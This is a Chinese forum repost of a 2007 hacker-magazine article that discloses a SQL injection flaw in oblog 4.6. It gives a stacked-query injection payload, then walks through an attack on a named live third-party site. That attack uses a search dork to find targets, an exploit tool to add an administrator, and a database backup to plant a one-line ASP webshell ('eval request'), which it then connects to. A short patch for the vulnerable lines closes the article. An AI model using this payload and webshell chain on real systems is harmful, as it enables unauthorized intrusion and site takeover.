搜索
查看: 1774|回复: 0

惊爆oblog4.6 0day

[复制链接]

签到天数: 42 天

发表于 2007-11-9 08:10 |

惊爆oblog4.6 0day

来自:MACD论坛(bbs.macd.cn) 作者:govyvy 浏览:1774 回复:0

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
此文章已发表在《黑客X档案》第11期杂志上
如需转载,请务必保留此信息!

作者:zj1244&竹子

自从上次oblog的tb.asp和js.asp文件出现漏洞后,直至今日oblog都没有爆出什么安全问题,前些日子官方发布了4.6稳定版,趁着无聊下下来看看代码的安全性,没想到还真的发现了一些问题。后来联系了oblog的客服,可是在qq上验证了几次人家也没有理我,没办法,那就只能发出来了。

我们先来简单分析一下漏洞的成因:漏洞出现在user_diggs.asp文件第304行左右,用Request获得topic的值,然后用oblog.InterceptStr处理后赋给topic。oblog.InterceptStr的作用只是截断字符而已,并没有过滤特殊字符。接着往下看,在第316行就直接把topic放到了SQL语句里进行了数据库操作,这样漏洞就形成了。4.6版的ACCESS和SQL 都存在这个问题,但是因为变量所在的SQL语句是update,所以我们并不能用union来联合暴出密码,唯一的方法就只有用“;”来执行多语句,而ACCESS并不支持多语句,因此漏洞只影响到SQL版本。

接下来是小菜们最关心的问题:怎么利用这个漏洞。我们先注册一个用户随便发篇日志,如图1。然后到自己的首页去推荐这篇日志,就是在图中 “推荐”处点击一下,如图2。接着回到用户管理后台,点击常用菜单里的“推荐日志”,就会看到刚才我们推荐的日志,我们把鼠标放到“修改”上,会看到推荐日志的id,这里的id是2,如图3。接着点击“修改”,在摘要里写入下面这个语句:

s'/**/WHERE/**/logid=2;update/**/oblog_user/**/set/**/useremail='竹子'/**/where/**/username='lovewin2k';--

如图4

这是一个简单的SQL语句,我对它稍做一些解释:其中的s’是为了和前面的’闭合。/**/是注释符,作用是用来代替空格。Logid=2中的2是刚才我们看到的日志id。然后用一个分号结束这一语句,接着是一个新的SQL语句,update/**/oblog_user/**/set/**/useremail='竹子'/**/where/**/username='lovewin2k';--的意思是把oblog_user表里username等于lovewin2k的useremail更改为竹子。单击“确认修改”后提示修改成功。我们去验证一下,看看自己个人资料里的邮箱是不是真的被改成了竹子,可以看到确实已经被更改成了竹子,如图5。

接下来我们在网上找个oblog实战一把,先说说如何查找4.6SQL版的oblog。我们先在百度里查找关键字“Copyright by oblog.cn”,然后随便打开一个blog,在主页后面添加ver.asp来查看版本,比如我在这里找的是http://www.zuliao365.com/blog,那就应该通过 http://www.zuliao365.com/blog/ver.asp来查看当前oblog的版本,如图6。如果是SQL版的那我们就可以打开利用工具,在目标主机里填写blog主页的地址,如: http://www.zuliao365.com/blog /index.html,点击“浏览”并用注册的用户登录以获得cookie。然后在用户名和密码里填写你要添加的管理员名字和密码,我这里添加一个用户名是竹子,密码是123456的管理员,日志id填写你自己所推荐日志的id。单击“发送”提示发送成功,如图7。我们访问后台http://www.zuliao365.com/blog/ admin/admin_login.asp,尝试用刚刚添加的管理员登录后台,果然成功登录,如图8。

我们当然不会仅仅满足于做个管理员,既然利用的版本是SQL的,那我们就直接用日志备份来获得webshell。单击后台里的“服务器组件配置”,如图9。在“站点物理地址”处可以看到网站的路径,记下来,等会备份的时候要把一句话木马备份到这里,这里是:e:\wwwroot\zuliao\wwwroot。接着在工具的下拉框里选择“更新库名到Email”,“注册用户名字”填写你在blog里注册的用户名字,单击“发送”,我们去个人资料里看看Email里的内容吧!选择“综合设置”中的“用户设置”看到库名已经被更新到了Email里了,我这里获得的库名是sq_zuliao,如图10。继续在工具的下拉框选择“备份数据库获得shell”,然后在库名和路径分别填写刚才我们获得的sq_zuliao和e:\wwwroot\zuliao\wwwroot \test.asp,test.asp是你自己一句话木马的文件名,单击“发送”,如图11。默认备份的一句话木马是海洋的<%eval request("#")%>,我们用海洋客户端连接 http://www.zuliao365.com /test.asp看看是否备份成功,可以看到我们已经成功获得了webshell,如图12。接下来该如何提升权限就看各位大显神通了。

关于如何修补漏洞的问题,把存在漏洞的语句

des = oblog.InterceptStr(RemoveHtml(Trim(Request("edit"))),255)

topic = oblog.InterceptStr(Trim(Request("topic")), 255)

替换成

des = oblog.filt_badstr (oblog.InterceptStr(RemoveHtml(Trim(Request("edit"))),255))

topic = oblog.filt_badstr (oblog.InterceptStr(Trim(Request("topic")), 255))

就可以了。

文章的最后,要感谢竹子同学在写作过程中给与本人的大力指导。
本站声明:1、本站所有广告均与MACD无关;2、MACD仅提供交流平台,网友发布信息非MACD观点与意思表达,因网友发布的信息造成任何后果,均与MACD无关。
MACD俱乐部(1997-2019)官方域名:macd.cn   MACD网校(2006-2019)官方域名:macdwx.com
值班热线[9:00—17:30]:18292674919   24小时网站应急电话:18292674919
找回密码、投诉QQ:89918815 友情链接QQ:95008905 广告商务联系QQ:17017506 电话:18292674919
增值电信业务经营许可证: 陕ICP19026207号—2  陕ICP备20004035号

举报|意见反馈|Archiver|手机版|小黑屋|MACD俱乐部 ( 陕ICP备20004035号 )

GMT+8, 2024-5-13 14:49 , Processed in 0.070775 second(s), 10 queries , Redis On.

Powered by Discuz! X3.4

© 2001-2017 Comsenz Inc.

快速回复 返回顶部 返回列表